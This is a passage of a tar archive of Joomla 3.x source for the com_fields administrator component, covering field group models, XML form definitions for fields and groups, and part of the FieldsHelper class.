			$path = JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component . '/models/forms/fieldgroup/' . $section . '.xml');

			if (file_exists($path))
			{
				$lang = JFactory::getLanguage();
				$lang->load($component, JPATH_BASE, null, false, true);
				$lang->load($component, JPATH_BASE . '/components/' . $component, null, false, true);

				if (!$form->loadFile($path, false))
				{
					throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
				}
			}
		}
	}

	/**
	 * Method to validate the form data.
	 *
	 * @param   JForm   $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the field group to validate.
	 *
	 * @return  array|boolean  Array of filtered data if valid, false otherwise.
	 *
	 * @see     JFormRule
	 * @see     JFilterInput
	 * @since   3.9.23
	 */
	public function validate($form, $data, $group = null)
	{
		// Don't allow to change the users if not allowed to access com_users.
		if (!JFactory::getUser()->authorise('core.manage', 'com_users'))
		{
			if (isset($data['created_by']))
			{
				unset($data['created_by']);
			}
		}

		if (!JFactory::getUser()->authorise('core.admin', 'com_fields'))
		{
			if (isset($data['rules']))
			{
				unset($data['rules']);
			}
		}

		return parent::validate($form, $data, $group);
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  array    The default data is an empty array.
	 *
	 * @since   3.7.0
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$app = JFactory::getApplication();
		$data = $app->getUserState('com_fields.edit.group.data', array());

		if (empty($data))
		{
			$data = $this->getItem();

			// Pre-select some filters (Status, Language, Access) in edit form if those have been selected in Field Group Manager
			if (!$data->id)
			{
				// Check for which context the Field Group Manager is used and get selected fields
				$context = substr($app->getUserState('com_fields.groups.filter.context'), 4);
				$filters = (array) $app->getUserState('com_fields.groups.' . $context . '.filter');

				$data->set(
					'state',
					$app->input->getInt('state', (!empty($filters['state']) ? $filters['state'] : null))
				);
				$data->set(
					'language',
					$app->input->getString('language', (!empty($filters['language']) ? $filters['language'] : null))
				);
				$data->set(
					'access',
					$app->input->getInt('access', (!empty($filters['access']) ? $filters['access'] : JFactory::getConfig()->get('access')))
				);
			}
		}

		$this->preprocessData('com_fields.group', $data);

		return $data;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed    Object on success, false on failure.
	 *
	 * @since   3.7.0
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			// Prime required properties.
			if (empty($item->id))
			{
				$item->context = $this->getState('filter.context');
			}

			if (property_exists($item, 'params'))
			{
				$item->params = new Registry($item->params);
			}
		}

		return $item;
	}

	/**
	 * Clean the cache
	 *
	 * @param   string   $group     The cache group
	 * @param   integer  $clientId  The ID of the client
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		$context = JFactory::getApplication()->input->get('context');

		parent::cleanCache($context);
	}
}
com_fields/models/groups.php000060400000014374152455305320012174 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Groups Model
 *
 * @since  3.7.0
 */
class FieldsModelGroups extends JModelList
{
	/**
	 * Context string for the model type.  This is used to handle uniqueness
	 * when dealing with the getStoreId() method and caching data structures.
	 *
	 * @var    string
	 * @since   3.7.0
	 */
	protected $context = 'com_fields.groups';

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JModelLegacy
	 * @since   3.7.0
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'type', 'a.type',
				'state', 'a.state',
				'access', 'a.access',
				'access_level',
				'language', 'a.language',
				'ordering', 'a.ordering',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'created', 'a.created',
				'created_by', 'a.created_by',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * This method should only be called once per instantiation and is designed
	 * to be called on the first call to the getState() method unless the model
	 * configuration flag to ignore the request is set.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		// List state information.
		parent::populateState('a.ordering', 'asc');

		$context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content', 'CMD');
		$this->setState('filter.context', $context);
	}

	/**
	 * Method to get a store id based on the model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  An identifier string to generate the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   3.7.0
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.context');
		$id .= ':' . $this->getState('filter.state');
		$id .= ':' . print_r($this->getState('filter.language'), true);

		return parent::getStoreId($id);
	}

	/**
	 * Method to get a JDatabaseQuery object for retrieving the data set from a database.
	 *
	 * @return  JDatabaseQuery   A JDatabaseQuery object to retrieve the data set.
	 *
	 * @since   3.7.0
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);
		$user = JFactory::getUser();

		// Select the required fields from the table.
		$query->select($this->getState('list.select', 'a.*'));
		$query->from('#__fields_groups AS a');

		// Join over the language
		$query->select('l.title AS language_title, l.image AS language_image')
			->join('LEFT', $db->quoteName('#__languages') . ' AS l ON l.lang_code = a.language');

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor')->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');

		// Join over the asset groups.
		$query->select('ag.title AS access_level')->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access');

		// Join over the users for the author.
		$query->select('ua.name AS author_name')->join('LEFT', '#__users AS ua ON ua.id = a.created_by');

		// Filter by context
		if ($context = $this->getState('filter.context', 'com_fields'))
		{
			$query->where('a.context = ' . $db->quote($context));
		}

		// Filter by access level.
		if ($access = $this->getState('filter.access'))
		{
			if (is_array($access))
			{
				$access = ArrayHelper::toInteger($access);
				$query->where('a.access in (' . implode(',', $access) . ')');
			}
			else
			{
				$query->where('a.access = ' . (int) $access);
			}
		}

		// Implement View Level Access
		if (!$user->authorise('core.admin'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
		}

		// Filter by published state
		$state = $this->getState('filter.state');

		if (is_numeric($state))
		{
			$query->where('a.state = ' . (int) $state);
		}
		elseif (!$state)
		{
			$query->where('a.state IN (0, 1)');
		}

		// Filter by search in title
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('a.title LIKE ' . $search);
			}
		}

		// Filter on the language.
		if ($language = $this->getState('filter.language'))
		{
			$language = (array) $language;

			foreach ($language as $key => $l)
			{
				$language[$key] = $db->quote($l);
			}

			$query->where('a.language in (' . implode(',', $language) . ')');
		}

		// Add the list ordering clause
		$listOrdering = $this->getState('list.ordering', 'a.ordering');
		$listDirn = $db->escape($this->getState('list.direction', 'ASC'));

		$query->order($db->escape($listOrdering) . ' ' . $listDirn);

		return $query;
	}

	/**
	 * Gets an array of objects from the results of database query.
	 *
	 * @param   string   $query       The query.
	 * @param   integer  $limitstart  Offset.
	 * @param   integer  $limit       The number of records.
	 *
	 * @return  array  An array of results.
	 *
	 * @since   3.8.7
	 * @throws  RuntimeException
	 */
	protected function _getList($query, $limitstart = 0, $limit = 0)
	{
		$result = parent::_getList($query, $limitstart, $limit);

		if (is_array($result))
		{
			foreach ($result as $group)
			{
				$group->params = new Registry($group->params);
			}
		}

		return $result;
	}
}
com_fields/models/forms/filter_groups.xml000060400000003705152455305320014674 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="group">
		<field
			name="context"
			type="fieldcontexts"
			onchange="this.form.submit();"
		/>
	</fieldset>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			description="COM_FIELDS_GROUPS_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
			class="js-stools-search-string"
		/>

		<field
			name="state"
			type="status"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.ordering ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.state ASC">JSTATUS_ASC</option>
			<option value="a.state DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="a.access ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="a.access DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="a.language ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="a.language DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_fields/models/forms/field.xml000060400000016726152455305320013102 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_categories/models/fields" >
		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			default="0"
			class="readonly"
			readonly="true"
		/>

		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>

		<field
			name="context"
			type="hidden"
		/>

		<field
			name="group_id"
			type="fieldgroups"
			label="COM_FIELDS_FIELD_GROUP_LABEL"
			description="COM_FIELDS_FIELD_GROUP_DESC"
			>
			<option value="0">JNONE</option>
		</field>

		<field
			name="assigned_cat_ids"
			type="category"
			label="JCATEGORY"
			description="JFIELD_FIELDS_CATEGORY_DESC"
			extension="com_content"
			multiple="true"
			>
			<option value="">JALL</option>
		</field>

		<field
			name="title"
			type="text"
			label="JGLOBAL_TITLE"
			description="JFIELD_TITLE_DESC"
			class="input-xxlarge input-large-text"
			size="40"
			required="true"
		/>

		<field
			name="name"
			type="text"
			label="JFIELD_NAME_LABEL"
			description="JFIELD_NAME_DESC"
			hint="JFIELD_NAME_PLACEHOLDER"
			size="45"
		/>

		<field
			name="type"
			type="type"
			label="COM_FIELDS_FIELD_TYPE_LABEL"
			description="COM_FIELDS_FIELD_TYPE_DESC"
			default="text"
			required="true"
		/>

		<field
			name="required"
			type="radio"
			label="COM_FIELDS_FIELD_REQUIRED_LABEL"
			description="COM_FIELDS_FIELD_REQUIRED_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="default_value"
			type="textarea"
			label="COM_FIELDS_FIELD_DEFAULT_VALUE_LABEL"
			description="COM_FIELDS_FIELD_DEFAULT_VALUE_DESC"
			filter="raw"
		/>

		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="chzn-color-state"
			default="1"
			size="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="buttonspacer"
			type="spacer"
			label="JGLOBAL_ACTION_PERMISSIONS_LABEL"
			description="JGLOBAL_ACTION_PERMISSIONS_DESCRIPTION"
		/>

		<field
			name="checked_out"
			type="hidden"
			filter="unset"
		/>

		<field
			name="checked_out_time"
			type="hidden"
			filter="unset"
		/>

		<field
			name="created_user_id"
			type="user"
			label="JGLOBAL_FIELD_CREATED_BY_LABEL"
			description="JGLOBAL_FIELD_CREATED_BY_DESC"
		/>

		<field
			name="created_time"
			type="calendar"
			label="JGLOBAL_CREATED_DATE"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="modified_by"
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			class="readonly"
			readonly="true"
			filter="unset"
		/>

		<field
			name="modified_time"
			type="calendar"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			class="readonly"
			translateformat="true"
			showtime="true"
			size="22"
			readonly="true"
			filter="user_utc"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_FIELDS_FIELD_LANGUAGE_DESC"
			>
			<option value="*">JALL</option>
		</field>

		<field
			name="note"
			type="text"
			label="COM_FIELDS_FIELD_NOTE_LABEL"
			description="COM_FIELDS_FIELD_NOTE_DESC"
			class="span12"
			size="40"
		/>

		<field
			name="label"
			type="text"
			label="COM_FIELDS_FIELD_LABEL_LABEL"
			description="COM_FIELDS_FIELD_LABEL_DESC"
			size="40"
			hint="JFIELD_ALIAS_PLACEHOLDER"
		/>

		<field
			name="description"
			type="textarea"
			label="JGLOBAL_DESCRIPTION"
			description="COM_FIELDS_FIELD_DESCRIPTION_DESC"
			size="40"
			filter="HTML"
		/>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
		/>

		<field
			name="rules"
			type="rules"
			label="JFIELD_RULES_LABEL"
			id="rules"
			translate_label="false"
			filter="rules"
			validate="rules"
			section="field"
		/>

		<field
			name="ordering"
			type="text"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC"
			class="inputbox"
		/>
	</fieldset>

	<fields name="params" label="COM_FIELDS_FIELD_BASIC_LABEL">
		<fieldset name="basic">

			<field
				name="formoptions"
				type="note"
				label="COM_FIELDS_FIELD_FORMOPTIONS_HEADING"
			/>

			<field
				name="hint"
				type="text"
				label="COM_FIELDS_FIELD_PLACEHOLDER_LABEL"
				description="COM_FIELDS_FIELD_PLACEHOLDER_DESC"
				class="input-xxlarge"
				size="40"
			/>

			<field
				name="class"
				type="textarea"
				label="COM_FIELDS_FIELD_CLASS_LABEL"
				description="COM_FIELDS_FIELD_CLASS_DESC"
				class="input-xxlarge"
				validate="CssIdentifierSubstring"
				size="40"
			/>

			<field
				name="label_class"
				type="textarea"
				label="COM_FIELDS_FIELD_LABEL_FORM_CLASS_LABEL"
				description="COM_FIELDS_FIELD_LABEL_FORM_CLASS_DESC"
				class="input-xxlarge"
				validate="CssIdentifierSubstring"
				size="40"
			/>

			<field
				name="show_on"
				type="radio"
				label="COM_FIELDS_FIELD_EDITABLE_IN_LABEL"
				description="COM_FIELDS_FIELD_EDITABLE_IN_DESC"
				class="btn-group btn-group-yesno"
				default=""
				>
				<option value="1">COM_FIELDS_FIELD_EDITABLE_IN_SITE</option>
				<option value="2">COM_FIELDS_FIELD_EDITABLE_IN_ADMIN</option>
				<option value="">COM_FIELDS_FIELD_EDITABLE_IN_BOTH</option>
			</field>

			<field
				name="renderoptions"
				type="note"
				label="COM_FIELDS_FIELD_RENDEROPTIONS_HEADING"
			/>

			<field
				name="render_class"
				type="textarea"
				label="COM_FIELDS_FIELD_RENDER_CLASS_LABEL"
				description="COM_FIELDS_FIELD_RENDER_CLASS_DESC"
				class="input-xxlarge"
				validate="CssIdentifierSubstring"
				size="40"
			/>
			
			<field
				name="value_render_class"
				type="textarea"
				label="COM_FIELDS_FIELD_VALUE_RENDER_CLASS_LABEL"
				description="COM_FIELDS_FIELD_VALUE_RENDER_CLASS_DESC"
				class="input-xxlarge"
				validate="CssIdentifierSubstring"
				size="40"
			/>

			<field
				name="showlabel"
				type="radio"
				label="COM_FIELDS_FIELD_SHOWLABEL_LABEL"
				description="COM_FIELDS_FIELD_SHOWLABEL_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="label_render_class"
				type="textarea"
				label="COM_FIELDS_FIELD_LABEL_RENDER_CLASS_LABEL"
				description="COM_FIELDS_FIELD_LABEL_RENDER_CLASS_DESC"
				class="input-xxlarge"
				size="40"
				validate="CssIdentifierSubstring"
				showon="showlabel:1"
			/>

			<field
				name="display"
				type="list"
				label="COM_FIELDS_FIELD_DISPLAY_LABEL"
				description="COM_FIELDS_FIELD_DISPLAY_DESC"
				default="2"
				>
				<option value="1">COM_FIELDS_FIELD_DISPLAY_AFTER_TITLE</option>
				<option value="2">COM_FIELDS_FIELD_DISPLAY_BEFORE_DISPLAY</option>
				<option value="3">COM_FIELDS_FIELD_DISPLAY_AFTER_DISPLAY</option>
				<option value="0">COM_FIELDS_FIELD_DISPLAY_NO_DISPLAY</option>
			</field>

			<field
				name="layout"
				type="fieldlayout"
				label="COM_FIELDS_FIELD_LAYOUT_LABEL"
				description="COM_FIELDS_FIELD_LAYOUT_DESC"
			/>

			<field
				name="display_readonly"
				type="radio"
				label="JFIELD_DISPLAY_READONLY_LABEL"
				description="JFIELD_DISPLAY_READONLY_DESC"
				class="btn-group btn-group-yesno"
				default="2"
				>
				<option value="2">JGLOBAL_INHERIT</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
com_fields/models/forms/group.xml000060400000005725152455305320013150 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			default="0"
			class="readonly"
			readonly="true"
		/>

		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>

		<field
			name="context"
			type="hidden"
			class="readonly"
			readonly="true"
		/>

		<field
			name="title"
			type="text"
			label="JGLOBAL_TITLE"
			description="JFIELD_TITLE_DESC"
			class="input-xxlarge input-large-text"
			size="40"
			required="true"
		/>

		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="chzn-color-state"
			default="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="checked_out"
			type="hidden"
			filter="unset"
		/>

		<field
			name="checked_out_time"
			type="hidden"
			filter="unset"
		/>

		<field
			name="created"
			type="calendar"
			label="JGLOBAL_CREATED_DATE"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="created_by"
			type="user"
			label="JGLOBAL_FIELD_CREATED_BY_LABEL"
			description="JGLOBAL_FIELD_CREATED_BY_DESC"
		/>

		<field
			name="modified"
			type="calendar"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			translateformat="true"
			showtime="true"
			size="22"
			class="readonly"
			readonly="true"
			filter="user_utc"
		/>

		<field
			name="modified_by"
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			class="readonly"
			readonly="true"
			filter="unset"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_FIELDS_FIELD_LANGUAGE_DESC"
			>
			<option value="*">JALL</option>
		</field>

		<field
			name="note"
			type="text"
			label="COM_FIELDS_FIELD_NOTE_LABEL"
			description="COM_FIELDS_FIELD_NOTE_DESC"
			class="span12"
			size="40"
		/>

		<field
			name="description"
			type="textarea"
			label="JGLOBAL_DESCRIPTION"
			size="40"
			filter="HTML"
		/>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
		/>

		<field
			name="rules"
			type="rules"
			label="JFIELD_RULES_LABEL"
			id="rules"
			translate_label="false"
			filter="rules"
			validate="rules"
			section="fieldgroup"
		/>

		<field
			name="ordering"
			type="text"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC"
			class="inputbox"
		/>
	</fieldset>

	<fields name="params" label="COM_FIELDS_FIELD_BASIC_LABEL">
		<fieldset name="basic">
			<field
				name="display_readonly"
				type="radio"
				label="JFIELD_DISPLAY_READONLY_LABEL"
				description="JFIELD_DISPLAY_READONLY_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
com_fields/helpers/fields.php000060400000046764152455305320012312 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

JLoader::register('JFolder', JPATH_LIBRARIES . '/joomla/filesystem/folder.php');

/**
 * FieldsHelper
 *
 * @since  3.7.0
 */
class FieldsHelper
{
	private static $fieldsCache = null;

	private static $fieldCache = null;

	/**
	 * Extracts the component and section from the context string which has to
	 * be in the format component.context.
	 *
	 * @param   string  $contextString  contextString
	 * @param   object  $item           optional item object
	 *
	 * @return  array|null
	 *
	 * @since   3.7.0
	 */
	public static function extract($contextString, $item = null)
	{
		$parts = explode('.', $contextString, 2);

		if (count($parts) < 2)
		{
			return null;
		}

		$component = $parts[0];
		$eName = str_replace('com_', '', $component);

		$path = JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component . '/helpers/' . $eName . '.php');

		if (file_exists($path))
		{
			$cName = ucfirst($eName) . 'Helper';

			JLoader::register($cName, $path);

			if (class_exists($cName) && is_callable(array($cName, 'validateSection')))
			{
				$section = call_user_func_array(array($cName, 'validateSection'), array($parts[1], $item));

				if ($section)
				{
					$parts[1] = $section;
				}
			}
		}

		return $parts;
	}

	/**
	 * Returns the fields for the given context.
	 * If the item is an object the returned fields do have an additional field
	 * "value" which represents the value for the given item. If the item has an
	 * assigned_cat_ids field, then additionally fields which belong to that
	 * category will be returned.
	 * Should the value being prepared to be shown in an HTML context then
	 * prepareValue must be set to true. No further escaping needs to be done.
	 * The values of the fields can be overridden by an associative array where the keys
	 * have to be a name and its corresponding value.
	 *
	 * @param   string    $context           The context of the content passed to the helper
	 * @param   stdClass  $item              item
	 * @param   int|bool  $prepareValue      (if int is display event): 1 - AfterTitle, 2 - BeforeDisplay, 3 - AfterDisplay, 0 - OFF
	 * @param   array     $valuesToOverride  The values to override
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	public static function getFields($context, $item = null, $prepareValue = false, array $valuesToOverride = null)
	{
		if (self::$fieldsCache === null)
		{
			// Load the model			
			JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_fields/models', 'FieldsModel');

			self::$fieldsCache = JModelLegacy::getInstance('Fields', 'FieldsModel', array(
				'ignore_request' => true)
			);

			self::$fieldsCache->setState('filter.state', 1);
			self::$fieldsCache->setState('list.limit', 0);
		}

		if (is_array($item))
		{
			$item = (object) $item;
		}

		if (JLanguageMultilang::isEnabled() && isset($item->language) && $item->language != '*')
		{
			self::$fieldsCache->setState('filter.language', array('*', $item->language));
		}

		self::$fieldsCache->setState('filter.context', $context);
		self::$fieldsCache->setState('filter.assigned_cat_ids', array());

		/*
		 * If item has assigned_cat_ids parameter display only fields which
		 * belong to the category
		 */
		if ($item && (isset($item->catid) || isset($item->fieldscatid)))
		{
			$assignedCatIds = isset($item->catid) ? $item->catid : $item->fieldscatid;

			if (!is_array($assignedCatIds))
			{
				$assignedCatIds = explode(',', $assignedCatIds);
			}

			// Fields without any category assigned should show as well
			$assignedCatIds[] = 0;

			self::$fieldsCache->setState('filter.assigned_cat_ids', $assignedCatIds);
		}

		$fields = self::$fieldsCache->getItems();

		if ($fields === false)
		{
			return array();
		}

		if ($item && isset($item->id))
		{
			if (self::$fieldCache === null)
			{
				self::$fieldCache = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' => true));
			}

			$fieldIds = array_map(
				function ($f)
				{
					return $f->id;
				},
				$fields
			);

			$fieldValues = self::$fieldCache->getFieldValues($fieldIds, $item->id);

			$new = array();

			foreach ($fields as $key => $original)
			{
				/*
				 * Doing a clone, otherwise fields for different items will
				 * always reference to the same object
				 */
				$field = clone $original;

				if ($valuesToOverride && key_exists($field->name, $valuesToOverride))
				{
					$field->value = $valuesToOverride[$field->name];
				}
				elseif ($valuesToOverride && key_exists($field->id, $valuesToOverride))
				{
					$field->value = $valuesToOverride[$field->id];
				}
				elseif (key_exists($field->id, $fieldValues))
				{
					$field->value = $fieldValues[$field->id];
				}

				if (!isset($field->value) || $field->value === '')
				{
					$field->value = $field->default_value;
				}

				$field->rawvalue = $field->value;

				// If boolean prepare, if int, it is the event type: 1 - After Title, 2 - Before Display, 3 - After Display, 0 - Do not prepare
				if ($prepareValue && (is_bool($prepareValue) || $prepareValue === (int) $field->params->get('display', '2')))
				{
					JPluginHelper::importPlugin('fields');

					$dispatcher = JEventDispatcher::getInstance();

					// Event allow plugins to modify the output of the field before it is prepared
					$dispatcher->trigger('onCustomFieldsBeforePrepareField', array($context, $item, &$field));

					// Gathering the value for the field
					$value = $dispatcher->trigger('onCustomFieldsPrepareField', array($context, $item, &$field));

					if (is_array($value))
					{
						$value = implode(' ', $value);
					}

					// Event allow plugins to modify the output of the prepared field
					$dispatcher->trigger('onCustomFieldsAfterPrepareField', array($context, $item, $field, &$value));

					// Assign the value
					$field->value = $value;
				}

				$new[$key] = $field;
			}

			$fields = $new;
		}

		return $fields;
	}

	/**
	 * Renders the layout file and data on the context and does a fall back to
	 * Fields afterwards.
	 *
	 * @param   string  $context      The context of the content passed to the helper
	 * @param   string  $layoutFile   layoutFile
	 * @param   array   $displayData  displayData
	 *
	 * @return  NULL|string
	 *
	 * @since  3.7.0
	 */
	public static function render($context, $layoutFile, $displayData)
	{
		$value = '';

		/*
		 * Because the layout refreshes the paths before the render function is
		 * called, so there is no way to load the layout overrides in the order
		 * template -> context -> fields.
		 * If there is no override in the context then we need to call the
		 * layout from Fields.
		 */
		if ($parts = self::extract($context))
		{
			// Trying to render the layout on the component from the context
			$value = JLayoutHelper::render($layoutFile, $displayData, null, array('component' => $parts[0], 'client' => 0));
		}

		if ($value == '')
		{
			// Trying to render the layout on Fields itself
			$value = JLayoutHelper::render($layoutFile, $displayData, null, array('component' => 'com_fields','client' => 0));
		}

		return $value;
	}

	/**
	 * PrepareForm
	 *
	 * @param   string  $context  The context of the content passed to the helper
	 * @param   JForm   $form     form
	 * @param   object  $data     data.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public static function prepareForm($context, JForm $form, $data)
	{
		// Extracting the component and section
		$parts = self::extract($context);

		if (! $parts)
		{
			return true;
		}

		$context = $parts[0] . '.' . $parts[1];

		// When no fields available return here
		$fields = self::getFields($parts[0] . '.' . $parts[1], new JObject);

		if (! $fields)
		{
			return true;
		}

		$component = $parts[0];
		$section   = $parts[1];

		$assignedCatids = isset($data->catid) ? $data->catid : (isset($data->fieldscatid) ? $data->fieldscatid : $form->getValue('catid'));

		// Account for case that a submitted form has a multi-value category id field (e.g. a filtering form), just use the first category
		$assignedCatids = is_array($assignedCatids)
			? (int) reset($assignedCatids)
			: (int) $assignedCatids;

		if (!$assignedCatids && $formField = $form->getField('catid'))
		{
			$assignedCatids = $formField->getAttribute('default', null);

			// Choose the first category available
			$xml = new DOMDocument;
			$xml->loadHTML($formField->__get('input'));
			$options = $xml->getElementsByTagName('option');

			if (!$assignedCatids && $firstChoice = $options->item(0))
			{
				$assignedCatids = $firstChoice->getAttribute('value');
			}

			$data->fieldscatid = $assignedCatids;
		}

		/*
		 * If there is a catid field we need to reload the page when the catid
		 * is changed
		 */
		if ($form->getField('catid') && $parts[0] != 'com_fields')
		{
			/*
			 * Setting the onchange event to reload the page when the category
			 * has changed
			*/
			$form->setFieldAttribute('catid', 'onchange', 'categoryHasChanged(this);');

			// Preload spindle-wheel when we need to submit form due to category selector changed
			JFactory::getDocument()->addScriptDeclaration("
			function categoryHasChanged(element) {
				var cat = jQuery(element);
				if (cat.val() == '" . $assignedCatids . "')return;
				Joomla.loadingLayer('show');
				jQuery('input[name=task]').val('" . $section . ".reload');
				Joomla.submitform('" . $section . ".reload', element.form);
			}
			jQuery( document ).ready(function() {
				Joomla.loadingLayer('load');
				var formControl = '#" . $form->getFormControl() . "_catid';
				if (!jQuery(formControl).val() != '" . $assignedCatids . "'){jQuery(formControl).val('" . $assignedCatids . "');}
			});"
			);
		}

		// Getting the fields
		$fields = self::getFields($parts[0] . '.' . $parts[1], $data);

		if (!$fields)
		{
			return true;
		}

		$fieldTypes = self::getFieldTypes();

		// Creating the dom
		$xml = new DOMDocument('1.0', 'UTF-8');
		$fieldsNode = $xml->appendChild(new DOMElement('form'))->appendChild(new DOMElement('fields'));
		$fieldsNode->setAttribute('name', 'com_fields');

		// Organizing the fields according to their group
		$fieldsPerGroup = array(0 => array());

		foreach ($fields as $field)
		{
